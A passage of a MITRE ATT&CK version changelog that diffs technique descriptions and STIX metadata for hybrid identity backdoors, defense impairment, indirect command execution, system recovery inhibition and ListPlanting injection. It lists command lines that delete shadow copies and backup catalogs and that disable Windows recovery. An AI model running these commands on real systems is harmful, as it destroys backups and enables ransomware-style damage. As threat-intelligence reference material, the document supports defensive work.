credentials.(Citation: Azure AD Connect for Read Teamers)(Citation: AADInternals Azure AD On-Prem to Cloud) In environments using AD FS, an adversary may edit the `Microsoft.IdentityServer.Servicehost` configuration file to load a malicious DLL that generates authentication tokens for any user with any set of claims, thereby bypassing multi-factor authentication and defined AD FS policies.(Citation: MagicWeb) + +In some cases, adversaries may be able to modify the hybrid identity authentication process from the cloud. For example, adversaries who compromise a Global Administrator account in an Azure AD tenant may be able to register a new PTA agent via the web console, similarly allowing them to harvest credentials and log into the Azure AD environment as any user.(Citation: Mandiant Azure AD Backdoors)Adversaries may patch, modify, or otherwise backdoor cloud authentication processes that are tied to on-premises user identities in order to bypass typical authentication mechanisms, access credentials, and enable persistent access to accounts. + +Many organizations maintain hybrid user and device identities that are shared between on-premises and cloud-based environments. These can be maintained in a number of ways. For example, Microsoft Entra ID includes three options for synchronizing identities between Active Directory and Entra ID(Citation: Azure AD Hybrid Identity): + +* Password Hash Synchronization (PHS), in which a privileged on-premises account synchronizes user password hashes between Active Directory and Entra ID, allowing authentication to Entra ID to take place entirely in the cloud +* Pass Through Authentication (PTA), in which Entra ID authentication attempts are forwarded to an on-premises PTA agent, which validates the credentials against Active Directory +* Active Directory Federation Services (AD FS), in which a trust relationship is established between Active Directory and Entra ID + +AD FS can also be used with other SaaS and cloud platforms such as AWS and GCP, which will hand off the authentication process to AD FS and receive a token containing the hybrid users’ identity and privileges. + +By modifying authentication processes tied to hybrid identities, an adversary may be able to establish persistent privileged access to cloud resources. For example, adversaries who compromise an on-premises server running a PTA agent may inject a malicious DLL into the `AzureADConnectAuthenticationAgentService` process that authorizes all attempts to authenticate to Entra ID, as well as records user credentials.(Citation: Azure AD Connect for Read Teamers)(Citation: AADInternals Azure AD On-Prem to Cloud) In environments using AD FS, an adversary may edit the `Microsoft.IdentityServer.Servicehost` configuration file to load a malicious DLL that generates authentication tokens for any user with any set of claims, thereby bypassing multi-factor authentication and defined AD FS policies.(Citation: MagicWeb) + +In some cases, adversaries may be able to modify the hybrid identity authentication process from the cloud. For example, adversaries who compromise a Global Administrator account in an Entra ID tenant may be able to register a new PTA agent via the web console, similarly allowing them to harvest credentials and log into the Entra ID environment as any user.(Citation: Mandiant Azure AD Backdoors)
x_mitre_attack_spec_version2.1.03.2.0
x_mitre_version1.01.1
x_mitre_platforms[4]Office 365Identity Provider
x_mitre_platforms[3]Google WorkspaceOffice Suite
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsAzure AD

[T1562] Impair Defenses

Current version: 1.6

Version changed from: 1.5 → 1.6

+ + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may maliciously modify components of a victim ent1Adversaries may maliciously modify components of a victim en
>vironment in order to hinder or disable defensive mechanisms>vironment in order to hinder or disable defensive mechanisms
>. This not only involves impairing preventative defenses, su>. This not only involves impairing preventative defenses, su
>ch as firewalls and anti-virus, but also detection capabilit>ch as firewalls and anti-virus, but also detection capabilit
>ies that defenders can use to audit activity and identify ma>ies that defenders can use to audit activity and identify ma
>licious behavior. This may also span both native defenses as>licious behavior. This may also span both native defenses as
> well as supplemental capabilities installed by users and ad> well as supplemental capabilities installed by users and ad
>ministrators.  Adversaries may also impair routine operation>ministrators.  Adversaries may also impair routine operation
>s that contribute to defensive hygiene, such as blocking use>s that contribute to defensive hygiene, such as blocking use
>rs from logging out of a computer or stopping it from being >rs from logging out, preventing a system from shutting down,
>shut down. These restrictions can further enable malicious o> or disabling or modifying the update process. Adversaries c
>perations as well as the continued propagation of incidents.>ould also target event aggregation and analysis mechanisms, 
>(Citation: Emotet shutdown)  Adversaries could also target e>or otherwise disrupt these procedures by altering other syst
>vent aggregation and analysis mechanisms, or otherwise disru>em components. These restrictions can further enable malicio
>pt these procedures by altering other system components.>us operations as well as the continued propagation of incide
 >nts.(Citation: Google Cloud Mandiant UNC3886 2024)(Citation:
 > Emotet shutdown)  
Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_contributors['Jamie Williams (U ω U), PANW Unit 42', 'Liran Ravich, CardinalOps']
values_changed
STIX FieldOld valueNew Value
modified2023-10-20 16:43:53.391000+00:002024-10-14 22:11:30.271000+00:00
descriptionAdversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may also span both native defenses as well as supplemental capabilities installed by users and administrators. + +Adversaries may also impair routine operations that contribute to defensive hygiene, such as blocking users from logging out of a computer or stopping it from being shut down. These restrictions can further enable malicious operations as well as the continued propagation of incidents.(Citation: Emotet shutdown) + +Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components.Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may also span both native defenses as well as supplemental capabilities installed by users and administrators. + +Adversaries may also impair routine operations that contribute to defensive hygiene, such as blocking users from logging out, preventing a system from shutting down, or disabling or modifying the update process. Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components. These restrictions can further enable malicious operations as well as the continued propagation of incidents.(Citation: Google Cloud Mandiant UNC3886 2024)(Citation: Emotet shutdown) + +
x_mitre_version1.51.6
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'Google Cloud Mandiant UNC3886 2024', 'description': ' Punsaen Boonyakarn, Shawn Chew, Logeswaran Nadarajan, Mathew Potaczek, Jakub Jozwiak, and Alex Marvi. (2024, June 18). Cloaked and Covert: Uncovering UNC3886 Espionage Operations. Retrieved September 24, 2024.', 'url': 'https://cloud.google.com/blog/topics/threat-intelligence/uncovering-unc3886-espionage-operations'}
x_mitre_platformsIdentity Provider
x_mitre_platformsOffice Suite
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsOffice 365

[T1656] Impersonation

Current version: 1.1

Version changed from: 1.0 → 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2023-09-30 19:45:05.886000+00:002024-10-15 15:59:06.382000+00:00
x_mitre_version1.01.1
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_platformsOffice Suite
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsOffice 365
x_mitre_platformsGoogle Workspace

[T1070] Indicator Removal

Current version: 2.2

Version changed from: 2.1 → 2.2

Details
values_changed
STIX FieldOld valueNew Value
modified2023-04-11 22:27:54.003000+00:002024-10-15 15:59:22.125000+00:00
x_mitre_attack_spec_version3.1.03.2.0
x_mitre_version2.12.2
x_mitre_platforms[5]Office 365Office Suite
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsGoogle Workspace

[T1202] Indirect Command Execution

Current version: 1.2

Version changed from: 1.1 → 1.2

+ + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may abuse utilities that allow for command execut1Adversaries may abuse utilities that allow for command execu
>tion to bypass security restrictions that limit the use of c>tion to bypass security restrictions that limit the use of c
>ommand-line interpreters. Various Windows utilities may be u>ommand-line interpreters. Various Windows utilities may be u
>sed to execute commands, possibly without invoking [cmd](htt>sed to execute commands, possibly without invoking [cmd](htt
>ps://attack.mitre.org/software/S0106). For example, [Forfile>ps://attack.mitre.org/software/S0106). For example, [Forfile
>s](https://attack.mitre.org/software/S0193), the Program Com>s](https://attack.mitre.org/software/S0193), the Program Com
>patibility Assistant (pcalua.exe), components of the Windows>patibility Assistant (pcalua.exe), components of the Windows
> Subsystem for Linux (WSL), as well as other utilities may i> Subsystem for Linux (WSL), Scriptrunner.exe, as well as oth
>nvoke the execution of programs and commands from a [Command>er utilities may invoke the execution of programs and comman
> and Scripting Interpreter](https://attack.mitre.org/techniq>ds from a [Command and Scripting Interpreter](https://attack
>ues/T1059), Run window, or via scripts. (Citation: VectorSec>.mitre.org/techniques/T1059), Run window, or via scripts.(Ci
> ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017)  Ad>tation: VectorSec ForFiles Aug 2017)(Citation: Evi1cg Forfil
>versaries may abuse these features for [Defense Evasion](htt>es Nov 2017)(Citation: Secure Team - Scriptrunner.exe)(Citat
>ps://attack.mitre.org/tactics/TA0005), specifically to perfo>ion: SS64)(Citation: Bleeping Computer - Scriptrunner.exe)  
>rm arbitrary execution while subverting detections and/or mi>Adversaries may abuse these features for [Defense Evasion](h
>tigation controls (such as Group Policy) that limit/prevent >ttps://attack.mitre.org/tactics/TA0005), specifically to per
>the usage of [cmd](https://attack.mitre.org/software/S0106) >form arbitrary execution while subverting detections and/or 
>or file extensions more commonly associated with malicious p>mitigation controls (such as Group Policy) that limit/preven
>ayloads.>t the usage of [cmd](https://attack.mitre.org/software/S0106
 >) or file extensions more commonly associated with malicious
 > payloads.
Details
values_changed
STIX FieldOld valueNew Value
modified2022-05-05 05:06:38.938000+00:002024-10-03 14:47:17.154000+00:00
descriptionAdversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters. Various Windows utilities may be used to execute commands, possibly without invoking [cmd](https://attack.mitre.org/software/S0106). For example, [Forfiles](https://attack.mitre.org/software/S0193), the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), Run window, or via scripts. (Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017) + +Adversaries may abuse these features for [Defense Evasion](https://attack.mitre.org/tactics/TA0005), specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of [cmd](https://attack.mitre.org/software/S0106) or file extensions more commonly associated with malicious payloads.Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters. Various Windows utilities may be used to execute commands, possibly without invoking [cmd](https://attack.mitre.org/software/S0106). For example, [Forfiles](https://attack.mitre.org/software/S0193), the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), Scriptrunner.exe, as well as other utilities may invoke the execution of programs and commands from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), Run window, or via scripts.(Citation: VectorSec ForFiles Aug 2017)(Citation: Evi1cg Forfiles Nov 2017)(Citation: Secure Team - Scriptrunner.exe)(Citation: SS64)(Citation: Bleeping Computer - Scriptrunner.exe) + +Adversaries may abuse these features for [Defense Evasion](https://attack.mitre.org/tactics/TA0005), specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of [cmd](https://attack.mitre.org/software/S0106) or file extensions more commonly associated with malicious payloads.
external_references[1]['description']Evi1cg. (2017, November 26). block cmd.exe ? try this :. Retrieved January 22, 2018.Evi1cg. (2017, November 26). block cmd.exe ? try this :. Retrieved September 12, 2024.
external_references[1]['url']https://twitter.com/Evi1cg/status/935027922397573120https://x.com/Evi1cg/status/935027922397573120
external_references[3]['description']vector_sec. (2017, August 11). Defenders watching launches of cmd? What about forfiles?. Retrieved January 22, 2018.vector_sec. (2017, August 11). Defenders watching launches of cmd? What about forfiles?. Retrieved September 12, 2024.
external_references[3]['url']https://twitter.com/vector_sec/status/896049052642533376https://x.com/vector_sec/status/896049052642533376
x_mitre_attack_spec_version2.1.03.2.0
x_mitre_version1.11.2
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'Bleeping Computer - Scriptrunner.exe', 'description': 'Bill Toulas. (2023, January 4). Hackers abuse Windows error reporting tool to deploy malware. Retrieved July 8, 2024.', 'url': 'https://www.bleepingcomputer.com/news/security/hackers-abuse-windows-error-reporting-tool-to-deploy-malware/'}
external_references{'source_name': 'Secure Team - Scriptrunner.exe', 'description': 'Secure Team - Information Assurance. (2023, January 8). Windows Error Reporting Tool Abused to Load Malware. Retrieved July 8, 2024.', 'url': 'https://secureteam.co.uk/2023/01/08/windows-error-reporting-tool-abused-to-load-malware/'}
external_references{'source_name': 'SS64', 'description': 'SS64. (n.d.). ScriptRunner.exe. Retrieved July 8, 2024.', 'url': 'https://ss64.com/nt/scriptrunner.html'}
x_mitre_contributorsLiran Ravich, CardinalOps

[T1490] Inhibit System Recovery

Current version: 1.5

Version changed from: 1.4 → 1.5

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may delete or remove built-in data and turn off t1Adversaries may delete or remove built-in data and turn off 
>services designed to aid in the recovery of a corrupted syst>services designed to aid in the recovery of a corrupted syst
>em to prevent recovery.(Citation: Talos Olympic Destroyer 20>em to prevent recovery.(Citation: Talos Olympic Destroyer 20
>18)(Citation: FireEye WannaCry 2017) This may deny access to>18)(Citation: FireEye WannaCry 2017) This may deny access to
> available backups and recovery options.  Operating systems > available backups and recovery options.  Operating systems 
>may contain features that can help fix corrupted systems, su>may contain features that can help fix corrupted systems, su
>ch as a backup catalog, volume shadow copies, and automatic >ch as a backup catalog, volume shadow copies, and automatic 
>repair features. Adversaries may disable or delete system re>repair features. Adversaries may disable or delete system re
>covery features to augment the effects of [Data Destruction]>covery features to augment the effects of [Data Destruction]
>(https://attack.mitre.org/techniques/T1485) and [Data Encryp>(https://attack.mitre.org/techniques/T1485) and [Data Encryp
>ted for Impact](https://attack.mitre.org/techniques/T1486).(>ted for Impact](https://attack.mitre.org/techniques/T1486).(
>Citation: Talos Olympic Destroyer 2018)(Citation: FireEye Wa>Citation: Talos Olympic Destroyer 2018)(Citation: FireEye Wa
>nnaCry 2017) Furthermore, adversaries may disable recovery n>nnaCry 2017) Furthermore, adversaries may disable recovery n
>otifications, then corrupt backups.(Citation: disable_notif_>otifications, then corrupt backups.(Citation: disable_notif_
>synology_ransom)  A number of native Windows utilities have >synology_ransom)  A number of native Windows utilities have 
>been used by adversaries to disable or delete system recover>been used by adversaries to disable or delete system recover
>y features:  * <code>vssadmin.exe</code> can be used to dele>y features:  * <code>vssadmin.exe</code> can be used to dele
>te all volume shadow copies on a system - <code>vssadmin.exe>te all volume shadow copies on a system - <code>vssadmin.exe
> delete shadows /all /quiet</code> * [Windows Management Ins> delete shadows /all /quiet</code> * [Windows Management Ins
>trumentation](https://attack.mitre.org/techniques/T1047) can>trumentation](https://attack.mitre.org/techniques/T1047) can
> be used to delete volume shadow copies - <code>wmic shadowc> be used to delete volume shadow copies - <code>wmic shadowc
>opy delete</code> * <code>wbadmin.exe</code> can be used to >opy delete</code> * <code>wbadmin.exe</code> can be used to 
>delete the Windows Backup Catalog - <code>wbadmin.exe delete>delete the Windows Backup Catalog - <code>wbadmin.exe delete
> catalog -quiet</code> * <code>bcdedit.exe</code> can be use> catalog -quiet</code> * <code>bcdedit.exe</code> can be use
>d to disable automatic Windows recovery features by modifyin>d to disable automatic Windows recovery features by modifyin
>g boot configuration data - <code>bcdedit.exe /set {default}>g boot configuration data - <code>bcdedit.exe /set {default}
> bootstatuspolicy ignoreallfailures & bcdedit /set {default}> bootstatuspolicy ignoreallfailures & bcdedit /set {default}
> recoveryenabled no</code> * <code>REAgentC.exe</code> can b> recoveryenabled no</code> * <code>REAgentC.exe</code> can b
>e used to disable Windows Recovery Environment (WinRE) repai>e used to disable Windows Recovery Environment (WinRE) repai
>r/recovery options of an infected system * <code>diskshadow.>r/recovery options of an infected system * <code>diskshadow.
>exe</code> can be used to delete all volume shadow copies on>exe</code> can be used to delete all volume shadow copies on
> a system - <code>diskshadow delete shadows all</code> (Cita> a system - <code>diskshadow delete shadows all</code> (Cita
>tion: Diskshadow) (Citation: Crytox Ransomware)  On network >tion: Diskshadow) (Citation: Crytox Ransomware)  On network 
>devices, adversaries may leverage [Disk Wipe](https://attack>devices, adversaries may leverage [Disk Wipe](https://attack
>.mitre.org/techniques/T1561) to delete backup firmware image>.mitre.org/techniques/T1561) to delete backup firmware image
>s and reformat the file system, then [System Shutdown/Reboot>s and reformat the file system, then [System Shutdown/Reboot
>](https://attack.mitre.org/techniques/T1529) to reload the d>](https://attack.mitre.org/techniques/T1529) to reload the d
>evice. Together this activity may leave network devices comp>evice. Together this activity may leave network devices comp
>letely inoperable and inhibit recovery operations.  Adversar>letely inoperable and inhibit recovery operations.  Adversar
>ies may also delete “online” backups that are connected to t>ies may also delete “online” backups that are connected to t
>heir network – whether via network storage media or through >heir network – whether via network storage media or through 
>folders that sync to cloud services.(Citation: ZDNet Ransomw>folders that sync to cloud services.(Citation: ZDNet Ransomw
>are Backups 2020) In cloud environments, adversaries may dis>are Backups 2020) In cloud environments, adversaries may dis
>able versioning and backup policies and delete snapshots, ma>able versioning and backup policies and delete snapshots, da
>chine images, and prior versions of objects designed to be u>tabase backups, machine images, and prior versions of object
>sed in disaster recovery scenarios.(Citation: Dark Reading C>s designed to be used in disaster recovery scenarios.(Citati
>ode Spaces Cyber Attack)(Citation: Rhino Security Labs AWS S>on: Dark Reading Code Spaces Cyber Attack)(Citation: Rhino S
>3 Ransomware)>ecurity Labs AWS S3 Ransomware)
Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-12 02:30:08.379000+00:002024-09-24 13:27:31.881000+00:00
descriptionAdversaries may delete or remove built-in data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) This may deny access to available backups and recovery options. + +Operating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Furthermore, adversaries may disable recovery notifications, then corrupt backups.(Citation: disable_notif_synology_ransom) + +A number of native Windows utilities have been used by adversaries to disable or delete system recovery features: + +* vssadmin.exe can be used to delete all volume shadow copies on a system - vssadmin.exe delete shadows /all /quiet +* [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - wmic shadowcopy delete +* wbadmin.exe can be used to delete the Windows Backup Catalog - wbadmin.exe delete catalog -quiet +* bcdedit.exe can be used to disable automatic Windows recovery features by modifying boot configuration data - bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no +* REAgentC.exe can be used to disable Windows Recovery Environment (WinRE) repair/recovery options of an infected system +* diskshadow.exe can be used to delete all volume shadow copies on a system - diskshadow delete shadows all (Citation: Diskshadow) (Citation: Crytox Ransomware) + +On network devices, adversaries may leverage [Disk Wipe](https://attack.mitre.org/techniques/T1561) to delete backup firmware images and reformat the file system, then [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to reload the device. Together this activity may leave network devices completely inoperable and inhibit recovery operations. + +Adversaries may also delete “online” backups that are connected to their network – whether via network storage media or through folders that sync to cloud services.(Citation: ZDNet Ransomware Backups 2020) In cloud environments, adversaries may disable versioning and backup policies and delete snapshots, machine images, and prior versions of objects designed to be used in disaster recovery scenarios.(Citation: Dark Reading Code Spaces Cyber Attack)(Citation: Rhino Security Labs AWS S3 Ransomware)Adversaries may delete or remove built-in data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) This may deny access to available backups and recovery options. + +Operating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Furthermore, adversaries may disable recovery notifications, then corrupt backups.(Citation: disable_notif_synology_ransom) + +A number of native Windows utilities have been used by adversaries to disable or delete system recovery features: + +* vssadmin.exe can be used to delete all volume shadow copies on a system - vssadmin.exe delete shadows /all /quiet +* [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - wmic shadowcopy delete +* wbadmin.exe can be used to delete the Windows Backup Catalog - wbadmin.exe delete catalog -quiet +* bcdedit.exe can be used to disable automatic Windows recovery features by modifying boot configuration data - bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no +* REAgentC.exe can be used to disable Windows Recovery Environment (WinRE) repair/recovery options of an infected system +* diskshadow.exe can be used to delete all volume shadow copies on a system - diskshadow delete shadows all (Citation: Diskshadow) (Citation: Crytox Ransomware) + +On network devices, adversaries may leverage [Disk Wipe](https://attack.mitre.org/techniques/T1561) to delete backup firmware images and reformat the file system, then [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to reload the device. Together this activity may leave network devices completely inoperable and inhibit recovery operations. + +Adversaries may also delete “online” backups that are connected to their network – whether via network storage media or through folders that sync to cloud services.(Citation: ZDNet Ransomware Backups 2020) In cloud environments, adversaries may disable versioning and backup policies and delete snapshots, database backups, machine images, and prior versions of objects designed to be used in disaster recovery scenarios.(Citation: Dark Reading Code Spaces Cyber Attack)(Citation: Rhino Security Labs AWS S3 Ransomware)
external_references[8]['description']TheDFIRReport. (2022, March 1). Disabling notifications on Synology servers before ransom. Retrieved October 19, 2022.TheDFIRReport. (2022, March 1). Disabling notifications on Synology servers before ransom. Retrieved September 12, 2024.
external_references[8]['url']https://twitter.com/TheDFIRReport/status/1498657590259109894https://x.com/TheDFIRReport/status/1498657590259109894
x_mitre_version1.41.5

[T1056] Input Capture

Current version: 1.3

Version changed from: 1.2 → 1.3

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_deprecatedFalse
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_permissions_required['Administrator', 'SYSTEM', 'root', 'User']
values_changed
STIX FieldOld valueNew Value
modified2023-03-30 21:01:41.752000+00:002024-08-13 17:33:45.244000+00:00
x_mitre_attack_spec_version3.1.03.2.0
x_mitre_version1.21.3

[T1559] Inter-Process Communication

Current version: 1.3

Version changed from: 1.2 → 1.3

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_permissions_required['Administrator', 'User', 'SYSTEM']
values_changed
STIX FieldOld valueNew Value
modified2022-03-11 20:23:23.122000+00:002024-09-10 19:06:35.666000+00:00
x_mitre_version1.21.3

[T1534] Internal Spearphishing

Current version: 1.4

Version changed from: 1.3 → 1.4

Details
values_changed
STIX FieldOld valueNew Value
modified2024-02-16 13:09:39.215000+00:002024-10-15 15:59:36.741000+00:00
x_mitre_version1.31.4
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_platformsOffice Suite
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsOffice 365
x_mitre_platformsGoogle Workspace

[T1059.007] Command and Scripting Interpreter: JavaScript

Current version: 2.2

Version changed from: 2.1 → 2.2

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
x_mitre_remote_supportFalse
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_permissions_required['User', 'Administrator', 'SYSTEM']
values_changed
STIX FieldOld valueNew Value
modified2021-08-16 21:02:05.142000+00:002024-07-30 14:12:52.698000+00:00
x_mitre_version2.12.2

[T1003.004] OS Credential Dumping: LSA Secrets

Current version: 1.1

Version changed from: 1.0 → 1.1

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_permissions_required['SYSTEM']
values_changed
STIX FieldOld valueNew Value
modified2021-04-21 21:12:38.361000+00:002024-08-13 15:49:17.591000+00:00
x_mitre_version1.01.1

[T1003.001] OS Credential Dumping: LSASS Memory

Current version: 1.5

Version changed from: 1.4 → 1.5

Details
values_changed
STIX FieldOld valueNew Value
modified2023-12-27 17:57:20.003000+00:002024-08-13 13:52:45.379000+00:00
x_mitre_version1.41.5
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_contributorsMichael Forret, Quorum Cyber

[T1569.001] System Services: Launchctl

Current version: 1.2

Version changed from: 1.1 → 1.2

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
x_mitre_remote_supportFalse
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_permissions_required['User', 'root']
values_changed
STIX FieldOld valueNew Value
modified2021-10-15 18:40:23.141000+00:002024-09-20 20:14:35.179000+00:00
x_mitre_version1.11.2

[T1055.015] Process Injection: ListPlanting

Current version: 1.1

Version changed from: 1.0 → 1.1

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may abuse list-view controls to inject malicioust1Adversaries may abuse list-view controls to inject malicious
> code into hijacked processes in order to evade process-base> code into hijacked processes in order to evade process-base
>d defenses as well as possibly elevate privileges. ListPlant>d defenses as well as possibly elevate privileges. ListPlant
>ing is a method of executing arbitrary code in the address s>ing is a method of executing arbitrary code in the address s
>pace of a separate live process. Code executed via ListPlant>pace of a separate live process.(Citation: Hexacorn Listplan
>ing may also evade detection from security products since th>ting) Code executed via ListPlanting may also evade detectio
>e execution is masked under a legitimate process.  List-view>n from security products since the execution is masked under
> controls are user interface windows used to display collect> a legitimate process.  List-view controls are user interfac
>ions of items.(Citation: Microsoft List View Controls) Infor>e windows used to display collections of items.(Citation: Mi
>mation about an application's list-view settings are stored >crosoft List View Controls) Information about an application
>within the process' memory in a <code>SysListView32</code> c>'s list-view settings are stored within the process' memory 
>ontrol.  ListPlanting (a form of message-passing "shatter at>in a <code>SysListView32</code> control.  ListPlanting (a fo
>tack") may be performed by copying code into the virtual add>rm of message-passing "shatter attack") may be performed by 
>ress space of a process that uses a list-view control then u>copying code into the virtual address space of a process tha
>sing that code as a custom callback for sorting the listed i>t uses a list-view control then using that code as a custom 
>tems.(Citation: Modexp Windows Process Injection) Adversarie>callback for sorting the listed items.(Citation: Modexp Wind
>s must first copy code into the target process’ memory space>ows Process Injection) Adversaries must first copy code into
>, which can be performed various ways including by directly > the target process’ memory space, which can be performed va
>obtaining a handle to the <code>SysListView32</code> child o>rious ways including by directly obtaining a handle to the <
>f the victim process window (via Windows API calls such as <>code>SysListView32</code> child of the victim process window
>code>FindWindow</code> and/or <code>EnumWindows</code>) or o> (via Windows API calls such as <code>FindWindow</code> and/
>ther [Process Injection](https://attack.mitre.org/techniques>or <code>EnumWindows</code>) or other [Process Injection](ht
>/T1055) methods.  Some variations of ListPlanting may alloca>tps://attack.mitre.org/techniques/T1055) methods.  Some vari
>te memory in the target process but then use window messages>ations of ListPlanting may allocate memory in the target pro
> to copy the payload, to avoid the use of the highly monitor>cess but then use window messages to copy the payload, to av
>ed <code>WriteProcessMemory</code> function. For example, an>oid the use of the highly monitored <code>WriteProcessMemory
> adversary can use the <code>PostMessage</code> and/or <code></code> function. For example, an adversary can use the <cod
>>SendMessage</code> API functions to send <code>LVM_SETITEMP>e>PostMessage</code> and/or <code>SendMessage</code> API fun
>OSITION</code> and <code>LVM_GETITEMPOSITION</code> messages>ctions to send <code>LVM_SETITEMPOSITION</code> and <code>LV
>, effectively copying a payload 2 bytes at a time to the all>M_GETITEMPOSITION</code> messages, effectively copying a pay
>ocated memory.(Citation: ESET InvisiMole June 2020)   Finall>load 2 bytes at a time to the allocated memory.(Citation: ES
>y, the payload is triggered by sending the <code>LVM_SORTITE>ET InvisiMole June 2020)   Finally, the payload is triggered
>MS</code> message to the <code>SysListView32</code> child of> by sending the <code>LVM_SORTITEMS</code> message to the <c
> the process window, with the payload within the newly alloc>ode>SysListView32</code> child of the process window, with t
>ated buffer passed and executed as the <code>ListView_SortIt>he payload within the newly allocated buffer passed and exec
>ems</code> callback.>uted as the <code>ListView_SortItems</code> callback.
Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
values_changed
STIX FieldOld valueNew Value
modified2022-03-08 20:59:20.762000+00:002024-08-14 17:34:33.948000+00:00
descriptionAdversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ListPlanting is a method of executing arbitrary code in the address space of a separate live process. Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process. + +List-view controls are user interface windows used to display collections of items.(Citation: Microsoft List View Controls) Information about an application's list-view settings are stored within the process' memory in a SysListView32 control. + +ListPlanting (a form of message-passing "shatter attack") may be performed by copying code into the virtual address space of a process that uses a list-view control then using that code as a custom callback for sorting the listed items.(Citation: Modexp Windows Process Injection) Adversaries must first copy code into the target process’ memory space, which can be performed various ways including by directly obtaining a handle to the SysListView32 child of the victim process window (via Windows API calls such as FindWindow and/or EnumWindows) or other [Process Injection](https://attack.mitre.org/techniques/T1055) methods. + +Some variations of ListPlanting may allocate memory in the target process but then use window messages to copy the payload, to avoid the use of the highly monitored WriteProcessMemory function. For example, an adversary can use the PostMessage and/or SendMessage API functions to send LVM_SETITEMPOSITION and LVM_GETITEMPOSITION messages, effectively copying a payload 2 bytes at a time to the allocated memory.(Citation: ESET InvisiMole June 2020) + +Finally, the payload is triggered by sending the LVM_SORTITEMS message to the SysListView32 child of the process window, with the payload within the newly allocated buffer passed and executed as the ListView_SortItems callback.Adversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ListPlanting is a method of executing arbitrary code in the address space of a separate live process.(Citation: Hexacorn Listplanting) Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process. + +List-view controls are user interface windows used to display collections of items.(Citation: Microsoft List View Controls) Information about an application's list-view settings are stored within the process' memory in a 